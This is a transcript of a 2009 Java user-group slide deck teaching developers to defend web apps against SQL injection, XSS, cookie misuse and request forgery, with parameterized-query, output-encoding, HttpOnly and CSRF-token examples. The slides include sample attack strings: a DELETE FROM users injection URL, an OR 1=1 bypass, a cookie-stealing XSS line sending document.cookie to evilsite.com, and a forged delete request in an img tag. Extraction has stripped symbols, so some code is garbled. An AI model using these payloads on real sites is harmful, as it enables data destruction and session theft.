Title: Twin Cities Java User Group Introduction to Writing Secure Web Applications
1- Twin Cities Java User GroupIntroduction to
Writing Secure Web Applications - March 9th, 2009
- Jason Dean
- Minnesota Department of Health
2Who am I?
- Web Application Developer with the Minnesota
Department of Health (MDH)? - Chairperson and User Group Manager of the MDH
ColdFusion User Group - Web Development Blogger (http//www.12robots.com)
- Veteran of the U.S. Coast Guard
3What is Application Security?
- Measures taken to prevent the exploitation of an
application or the system that runs the
application through defects in the design,
development or deployment of the application
4How do I know if my application is secure?
- If you have to ask, then it is not.
5Make my application secure?
6Assets
Flash Files
System Files
Configuration Files
Images
Servers
Databases
7Threats
- The basics
- Cross-Site Scripting XSS
- Cookie Misuse/Exploits
- SQL Injection
- Request Forgeries (on-site and cross-site)?
- Input Validation Exploits
- File Uploads
- The Advanced
- Session Management Attacks
- Authorization/Authentication
- Access Control Attacks
- Parameter Manipulation
- The less obvious
- Ignorance
- Assumptions
- Laziness
- Internal threats
8Discover Vulnerabilities
- Code Review
- Scanners
- Release Source
- Attack
- Experts
9Countermeasures
- Countermeasures mitigate attacks
- Out-Of-The-Box
- Custom
- Test and Retest
- Do not touch
- Certify
10What are we going to talk about?
- The Basic
- SQL Injection
- Cross-Site Scripting (XSS)
- Cookies
- Request Forgeries
- The less obvious
- Ignorance
- Assumptions
- Laziness
11Ignorance
- A long habit of not thinking a thing wrong gives
it a superficial appearance of being right. - - Thomas Paine
12Assumptions about users
- Two things are infinite the universe and human
stupidity and I'm not sure about the universe. - - Albert Einstein
13Assumptions About Hackers
- Why would a hacker have any interest in your
site? - Vandalism
- Identity Theft
- Activism
- Hackers will not use your site as you intend,
either
14Assumptions about administrator/host
- Configured correctly?
- Settings enabled?
- Work together to review configuration
- Control at the application level
- Hire an Expert
15Assumptions about how the server/environment work
- Secret URLs
- Firewall
- Google
- Web Server Logs
- Internal Traffic
- Hidden Fields
- Javascript
16Laziness
- Security Testing
- Code Review
- Learning
- Too Hard, Too much research
- Don't have enough time?
17The Basic Threats
- SQL Injection
- Cross-Site Scripting XSS
- Cookie Misuse/Exploits
- Request Forgeries
18SQL Injection
- Obtain, Change or Destroy Data
- Execute System Commands
- Easy to do
- Easy to stop
- Any DBMS
19SQL Injection Examples
- URL, Form and Cookie parameters can be used as
part of a SQL statement. - Would probably be used in a query like this
http//www.12robots.com/?userid1303
String query "SELECT FROM users WHERE userid
" userid
20SQL Injection Examples
www.12robots.com/?userid1303
Would Become
http//www.12robots.com/?userid1303DELETEFROM
users--
21SQL Injection Examples (cont)?
http//www.12robots.com/?userid1303DELETEFROM
users--
Would result in this query
SELECT username, firstname FROM users WHERE
userid 1303 DELETE FROM customers--
22SQL Injection Examples (cont)?
http//www.12robots.com/?userid130320OR2011--
Would result in this query
SELECT username, firstname FROM users WHERE
userid 1303 OR 11--
23Stopping SQL Injection Example
- So if you had a URL for login in that looked like
http//www.12robots.com/?usernameJasonpasswordm
yPass I know we dont send passwords in the
URL, this is a demo, this would work just as well
in a form field
- And a hacker tried to inject a single quote and
double-dash
http//www.12robots.com/?usernameJason'-password
noPass
- If you did not have a parameterized query, you'd
get hacked
SELECT username, firstname FROM users WHERE
username 'jason'-- ' AND password myPass
- But with a parameterized query, you'd be safe
SELECT username, firstname FROM users WHERE
username 'jason''-- ' AND password 'myPass'
24Prepared Statements in Action
- ColdFusion
- ltcfqueryparamgt on an Integer
- OR
- ltcfqueryparamgt on an String
ltcfquery name"qMyQuery" datasource"myDSN"gt SELE
CT username, firstname FROM users WHERE userid
ltcfqueryparam value"url.userid"
cfsqltype"cf_sql_integer"gt lt/cfquerygt
ltcfquery name"qMyQuery" datasource"myDSN"gt SELE
CT username, firstname FROM users WHERE userid
ltcfqueryparam value"url.username"
cfsqltype"cf_sql_varchar"gt lt/cfquerygt
25Prepared Statements in Action
- Java
- Prepare a string
- Prepare an Integer
String query "SELECT id, fname, lname FROM
authors WHERE fname ? and lname
?" PreparedStatement pstmt connection.prepareSt
atement( query ) pstmt.setString( 1, fname
) pstmt.setString( 2, lname ) ResultSet results
pstmt.execute( )
String query "SELECT id, fname, lname FROM
authors WHERE id ? PreparedStatement pstmt
connection.prepareStatement( query
) pstmt.setInt( 1, id ) ResultSet results
pstmt.execute( )
26Prepared Statements in Action
IDbCommand cmdUserInputText conn.CreateCommand()
cmdUserInputText.CommandType
System.Data.CommandType.Text cmdUserInputText.Com
mandText "SELECT FROM titles WHERE
title_id_at_title_id" IDbDataParameter userParam
cmdUserInputText.CreateParameter() userParam.Valu
e "myTitleID" userParam.DbType
System.Data.DbType.String cmdUserInputText.Parame
ters.Add(userParam)
27Prepared Statements in Action
- PHP with MySQLi
- Prepare an Integer
- Prepare a String
db_conn new mysqli("localhost", "user",
"pass", "db") statement db_conn-gtprepare("SEL
ECT username FROM users WHERE id
?") statement-gtbind_param("i",
id) statement-gtexecute()
db_conn new mysqli("localhost", "user",
"pass", "db") statement db_conn-gtprepare("SEL
ECT id FROM users WHERE username
?") statement-gtbind_param("s",
username) statement-gtexecute()
28What about other Dynamic Elements in SQL?
ltcfquery name"qMyQuery" datasource"myDSN"gt SELE
CT username, firstname FROM users ORDER BY
username sortOrder lt/cfquerygt
ltcfquery name"qMyQuery" datasource"myDSN"gt SELE
CT username, firstname FROM users ORDER BY
username ltcfif sortOrder EQ "ASC"gtASCltcfeslegtDESClt
/cfifgt lt/cfquerygt
29(No Transcript)
30XSS Example
- You have a comments text box, like so
- And some joker decides to inject some Javascript
- Then when someone views the page that displays
that comment, they get
31XSS Uses
document.locationhttp//www.evilsite.com?cookie
document.cookie
32XSS iFrame Example
- When another user views the output of that
comment later, they will see a form prompting for
their user/pass, if they enter and hit submit
the form will be posted to the evil site.
33XSS Prevention?
- So how do we protect against this type of attack?
- Turn on script protection (ColdFusion)
- Use character encoding functions on all dynamic
output - User Input validation
- Use a security API or Framework for your specific
language
34Character Encoding
ltscript typetext/javascriptgtalert('Hacked!')lt/
scriptgt
ltscript typetext/javascriptgtalert('Hacked
!')lt/scriptgt
This This is ltstronggtBold Textlt/stronggt
Would become This is ltstronggtBold
Textlt/stronggt And when displayed This is
ltstronggtBold Textlt/stronggt Instead of like
This is Bold Text
35Character Encoding Function
- ColdFusion
- Java
- Java ESAPI
- PHP
- C
ltcfoutputgtHTMLEncodedFormat(String)lt/cfoutputgt
import org.w3c.tidy.servlet.util.HTMLEncode
//jTidy encode(String)
ESAPI.encoder().encodeForHTML(String)
lt?php echo htmlentities(String, ENT_QUOTES) ?gt
Server.HtmlEncode(String)
36Cookie Security
37Cookie Parameters
- Name
- Value
- Expires
- Path
- Domain
- Secure
- HTTPOnly
38Cookie Domain and Path
- www.awesomebloggers.com
- 12robots.awesomebloggers.com
- domain.awesomebloggers.com
- hacker.awesomebloggers.com
- domain.12robots.awesomebloggers.com
- www.awesomebloggers.com/12robots
- Path/
- www.awesomeblogers.com/hacker
- path/12robots
39Setting the HTTPOnly Flag
ltcfheader name"Set-Cookie" value"namevalueHttp
Only"gt
response.setHeader("Set-Cookie", "namevalue
HTTPOnly")
lt?php setcookie("name", "value", expire,
path, domain, secure, TRUE) ?gt
HttpCookie myCookie new HttpCookie("myCookie")
myCookie.HttpOnly true Response.AppendCookie(my
Cookie)
40What is a Request Forgery?
- A request forgery, also sometimes called a
Cross-Site (or On-Site) Request Forgery(XSRF), is
an attack that is perpetrated against the user of
a site who has authenticated access to that site
41That was confusing
- How about an Example?
- Delete page/function
- single parameter
- PageID
- Admin Only
- All is good, right?
42What happened?
ltimg src"http//www.easilypwnd.com/deletePage.cfm
?pageid1"gt
43So what can we do about it?
ltform action"deletePage.cfm" method"post"gt ltinp
ut type"hidden" name"pageid" value"1"
/gt ltinput type"submit" name"btnSubmit"
value"Delete Page 1" /gt lt/formgt
- It probably
- Receives the request
- Checks to make sure the user is logged in
- Confirms that the ID is valid
- Performs the action
44How do we fix it?
//pseudo-code session.add(key,
createUUID()) session.add(keyExpires,
DateAdd('m', 10, Now()) ltform
action"deletePage.cfm" method"post"gt ltinput
type"hidden" name"pageid" value"1" /gt ltinput
type"submit" name"btnSubmit" value"Delete Page
1" /gt ltinput type"hidden" name"key"
value"session.key" /gt lt/formgt
45How do we fix it?
If (exists(sessionkey) exists(formkey)
!(isExpired(formKey, keyExpires)) sessionkey
formKey) //Delete the key from the session
so it can't be reused delete(sessionkey)
else //Relocate the request if the key is not
present or doesn't match log(securityInfo) requ
est.location(webroot) //or throw an
Exception //Finish Processing the request
46Questions?
- Please ask your questions now
- Comments?
- Jason Dean
- jason_at_12robots.com
- http//www.12robots.com